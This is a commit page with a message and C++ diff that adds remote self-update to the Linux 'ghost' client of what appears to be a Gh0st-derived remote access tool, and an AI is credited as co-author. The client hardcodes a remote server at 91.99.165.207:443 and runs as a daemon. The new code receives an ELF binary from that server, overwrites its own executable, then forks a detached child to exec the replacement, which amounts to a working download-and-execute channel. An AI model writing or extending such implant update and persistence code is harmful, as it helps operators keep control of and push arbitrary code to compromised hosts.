Feature: Upgrade a Linux client from the server

The Linux client is a standalone ELF with no in-memory loader and no
COMMAND_UPDATE handler, so the server's upgrade menu silently did nothing
for an LNX host. It can now push a new binary and have the client replace
and restart itself.

The server grows an LNX branch next to EXE/DLL/SC. It takes the ELF from an
explicit settings.ini LinuxClientPath, then ghost_linux_amd64 in the
program directory, then res\ghost_linux, then IDR_LINUX_GHOST, the copy
the server has always embedded for the client-build dialog, so a server
with nothing on disk can still upgrade; a configured path that cannot be
read is an error rather than a silent fallback. Only x86_64 ELF64 is
accepted. The payload adds a 32-byte MD5 trailer to the existing
[cmd][size:8][payload] layout, which the Windows branches keep unchanged.

linux/ghost in the tree is still the build from before this change and is
not updated here. It has to be refreshed before release: the embedded
default is copied from it at build time, and a stale copy would install a
client with no COMMAND_UPDATE handler, which can never be upgraded
remotely again.

The client verifies the declared size, elf magic, e_machine against its own
ELF header and the MD5 before touching anything, so a miscopied or corrupted
file never lands on disk. It then writes a same-directory temp file with
fsync and 0755 (a running executable cannot be truncated in place), renames
it over its own path atomically, keeps the replaced inode as .old, removes
the PID file, forks a detached child that waits for the old process to exit
and execs the new binary with the original argv, and finally exits with
S_CLIENT_UPDATE. Doing the rename and the exec in that order avoids ETXTBSY,
double connections under one client id, and a new instance that
isAlreadyRunning() would refuse to start.

Any failure (unwritable install directory, bad payload, fork) leaves the
client running on the old version; the reason goes to the client log and to
the server's message log through TOKEN_CLIENT_MSG, which required moving
that struct out of the Windows-only block in common/commands.h.

The shared client source had also stopped compiling off Windows: the
unknown-header diagnostic in IOCPClient::OnServerReceiving printed
TlsEnabled() and m_tls.IsReady() unconditionally, but TlsChannel and m_tls
only exist on Windows. That diagnostic now keeps the TLS details where the
channel exists and prints just the buffer dump everywhere else.

Verified end to end in WSL against the Debug server, foreground and -d
daemon: the PID changes, the installed file matches the pushed MD5, the host
reconnects, and ghost.old holds the previous binary. A read-only install
directory reports "cannot create ...: Permission denied" in the server log
with the client still online. With an invalid file at ghost_linux_amd64 the
server refuses it and names that path, which shows the disk source wins;
with nothing on disk the update goes through from the embedded ELF.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-10-27 18:25:34 +01:00
1 parent bfb17d0d25
commit 4c0e86dcc5
5 files changed
+358 -2

No files matched your search

+214
View File
@@ -37,8 +37,12 @@
#include "common/posix_net_helpers.h"
#include "common/sub_conn_thread.h"
#include "LinuxConfig.h"
#include <openssl/evp.h>
#include <cctype>
#include <vector>
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength);
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
@@ -47,6 +51,12 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L
State g_bExit = S_CLIENT_NORMAL;
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
// 自升级(COMMAND_UPDATE):fork+execv 重启自己时需要原始命令行,
// 失败回报需要主连接(DataProcess 的 user 参数为 NULL,只能靠全局)。
static int g_argc = 0;
static char** g_argv = nullptr;
static IOCPClient* g_pMainClient = nullptr;
// 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms),0 表示新连接刚建立尚未喂初值。
// 心跳循环用它检测应用层超时:TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF
// 立即返回成功),必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic:
@@ -470,6 +480,10 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
// 标记需要重发登录信息(让服务端更新分组显示)
g_needResendLogin.store(true);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else if (szBuffer[0] == COMMAND_UPDATE) {
// 服务端"升级程序"菜单下发新版本 ELF
Mprintf("** [%p] Received 'UPDATE' command (%u bytes) ***\n", user, (unsigned)ulLength);
ApplySelfUpdate(szBuffer, ulLength);
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
@@ -806,11 +820,210 @@ static void setupSignals()
signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略
}
// ============== 客户端自升级(COMMAND_UPDATE) ==============
// 服务端 -> Linux 客户端载荷布局(Windows 的 COMMAND_UPDATE 没有摘要,LNX 有):
// [cmd:1][size:8 LE][ELF payload:size][md5:32 ASCII 小写 hex]
// 摘要只用于发现传输/落盘损坏:主通道本身已有掩码 + 可选 TLS。
//
// 关键约束:
// - 正在运行的 ELF 不能 O_TRUNC / 原地覆盖(ETXTBSY),必须先写同目录临时文件
// (同一文件系统,rename 才是原子的);
// - Linux 允许 rename() 覆盖正在执行的 inode,老进程继续跑完自己那份,
// 新进程用新 inode;
// - fork 子进程 -> setsid -> 关掉继承的 fd -> 等老进程退出 -> execv,
// 否则服务端会看到同一 clientID 两条连接并存,且新进程写 PID 文件前可能
// 被 isAlreadyRunning() 误判。
// 升级失败一律不退出进程:报错(ClientMsg 报到服务端消息栏 + 写客户端日志)后
// 继续用当前版本。
static const size_t kUpdateMd5HexLen = 32;
// MD5 小写 hex;与 Windows 侧 common/md5.h CalcMD5FromBytes 输出一致
static std::string md5HexOf(const unsigned char* data, size_t len)
{
unsigned char digest[EVP_MAX_MD_SIZE];
unsigned int digestLen = 0;
std::string hex;
EVP_MD_CTX* ctx = EVP_MD_CTX_new();
if (!ctx) return hex;
if (EVP_DigestInit_ex(ctx, EVP_md5(), nullptr) == 1 &&
EVP_DigestUpdate(ctx, data, len) == 1 &&
EVP_DigestFinal_ex(ctx, digest, &digestLen) == 1) {
static const char kHex[] = "0123456789abcdef";
hex.reserve(digestLen * 2);
for (unsigned int i = 0; i < digestLen; ++i) {
hex.push_back(kHex[digest[i] >> 4]);
hex.push_back(kHex[digest[i] & 0x0F]);
}
}
EVP_MD_CTX_free(ctx);
return hex;
}
// 自身 ELF 头的 e_machine(偏移 18,ELF32/ELF64 相同),用于拒绝架构不符的包
static int selfElfMachine()
{
std::ifstream f("/proc/self/exe", std::ios::binary);
unsigned char hdr[20] = {};
if (!f.read((char*)hdr, sizeof(hdr))) return -1;
if (hdr[0] != 0x7f || hdr[1] != 'E' || hdr[2] != 'L' || hdr[3] != 'F') return -1;
return hdr[18] | (hdr[19] << 8);
}
// 升级失败回报:客户端没有 UI,走 ClientMsg(服务端消息栏 + get_audit_log)并写日志
static void reportUpdateFailure(const std::string& reason)
{
Mprintf("** UPDATE failed: %s ***\n", reason.c_str());
if (!g_pMainClient || !g_pMainClient->IsConnected()) return;
ClientMsg msg("Linux client update failed", reason.c_str());
g_pMainClient->Send2Server((char*)&msg, sizeof(msg));
}
static bool writeAll(int fd, const unsigned char* data, size_t len)
{
while (len > 0) {
ssize_t n = write(fd, data, len);
if (n <= 0) {
if (n < 0 && errno == EINTR) continue;
return false;
}
data += n;
len -= (size_t)n;
}
return true;
}
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength)
{
const size_t headerLen = 1 + sizeof(uint64_t);
if (ulLength < headerLen + kUpdateMd5HexLen) {
reportUpdateFailure("payload too short");
return;
}
uint64_t size = 0;
memcpy(&size, szBuffer + 1, sizeof(size));
if (size == 0 || size > (uint64_t)(ulLength - headerLen - kUpdateMd5HexLen)) {
reportUpdateFailure("payload size invalid");
return;
}
const unsigned char* payload = szBuffer + headerLen;
const char* trailer = (const char*)payload + size;
if (size < 20 || payload[0] != 0x7f || payload[1] != 'E' ||
payload[2] != 'L' || payload[3] != 'F') {
reportUpdateFailure("payload is not an ELF binary");
return;
}
int machine = payload[18] | (payload[19] << 8);
int selfMachine = selfElfMachine();
if (selfMachine > 0 && machine != selfMachine) {
char buf[96];
snprintf(buf, sizeof(buf), "arch mismatch: payload e_machine=%d, running=%d",
machine, selfMachine);
reportUpdateFailure(buf);
return;
}
std::string expect(trailer, kUpdateMd5HexLen);
for (auto& c : expect) c = (char)tolower((unsigned char)c);
std::string actual = md5HexOf(payload, (size_t)size);
if (actual.empty() || actual != expect) {
reportUpdateFailure("md5 mismatch (corrupted payload)");
return;
}
std::string target = getExePath();
size_t slash = target.find_last_of('/');
if (target.empty() || slash == std::string::npos) {
reportUpdateFailure("cannot resolve own executable path");
return;
}
std::string dir = target.substr(0, slash + 1);
std::string base = target.substr(slash + 1);
std::string tmp = dir + "." + base + ".new." + std::to_string((long)getpid());
std::string backup = target + ".old";
unlink(tmp.c_str()); // 上一轮残留(同一 pid 复用)
int fd = open(tmp.c_str(), O_WRONLY | O_CREAT | O_EXCL, 0755);
if (fd < 0) {
reportUpdateFailure("cannot create " + tmp + ": " + strerror(errno));
return;
}
bool ok = writeAll(fd, payload, (size_t)size);
if (ok) ok = (fchmod(fd, 0755) == 0);
if (ok) ok = (fsync(fd) == 0);
if (close(fd) != 0) ok = false;
if (!ok) {
int err = errno;
unlink(tmp.c_str());
reportUpdateFailure("cannot write " + tmp + ": " + strerror(err));
return;
}
// 备份旧版本便于回滚(下次升级时覆盖);备份失败不影响升级
unlink(backup.c_str());
if (link(target.c_str(), backup.c_str()) != 0) {
Mprintf("** UPDATE: no backup kept (%s): %s ***\n", backup.c_str(), strerror(errno));
}
if (rename(tmp.c_str(), target.c_str()) != 0) {
int err = errno;
unlink(tmp.c_str());
reportUpdateFailure("cannot replace " + target + ": " + strerror(err));
return;
}
// 先把参数数组准备好(fork 之后只做 async-signal-safe 的事)
std::string arg0 = target;
std::vector<char*> args;
args.reserve((size_t)g_argc + 1);
args.push_back(&arg0[0]);
for (int i = 1; i < g_argc; ++i) args.push_back(g_argv[i]);
args.push_back(nullptr);
long maxFd = sysconf(_SC_OPEN_MAX);
if (maxFd < 0 || maxFd > 65536) maxFd = 65536;
pid_t parent = getpid();
// 先摘掉 PID 文件:新进程主循环前的 isAlreadyRunning() 不能看到老 pid
removePidFile();
pid_t pid = fork();
if (pid < 0) {
int err = errno;
writePidFile(); // 升级没完成,恢复现状
reportUpdateFailure(std::string("fork failed: ") + strerror(err));
return;
}
if (pid == 0) {
setsid();
int devnull = open("/dev/null", O_RDWR);
if (devnull >= 0) {
dup2(devnull, STDIN_FILENO);
dup2(devnull, STDOUT_FILENO);
dup2(devnull, STDERR_FILENO);
if (devnull > STDERR_FILENO) close(devnull);
}
// 关掉继承的 socket / 日志等 fd,避免老连接挂着不放
for (long f = STDERR_FILENO + 1; f < maxFd; ++f) close((int)f);
// 等老进程退出再 exec(最多 5s)。僵尸态 kill(pid,0) 仍返回存活,故设上限。
for (int i = 0; i < 50 && kill(parent, 0) == 0; ++i) usleep(100 * 1000);
execv(target.c_str(), args.data());
_exit(127); // exec 失败:新版本已落盘,下次启动会用它
}
Mprintf("** UPDATE applied: %s (%llu bytes), restarting ***\n",
target.c_str(), (unsigned long long)size);
g_bExit = S_CLIENT_UPDATE;
}
// 用法: ./ghost [-d] [IP] [端口]
// -d 后台守护进程模式
// 示例: ./ghost -d 192.168.1.100 6543
int main(int argc, char* argv[])
{
g_argc = argc;
g_argv = argv;
// 解析 -d 参数
bool daemon_mode = false;
int argStart = 1;
@@ -970,6 +1183,7 @@ int main(int argc, char* argv[])
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, false));
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
g_pMainClient = ClientObject.get(); // 自升级失败回报用
while (!g_bExit) {
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {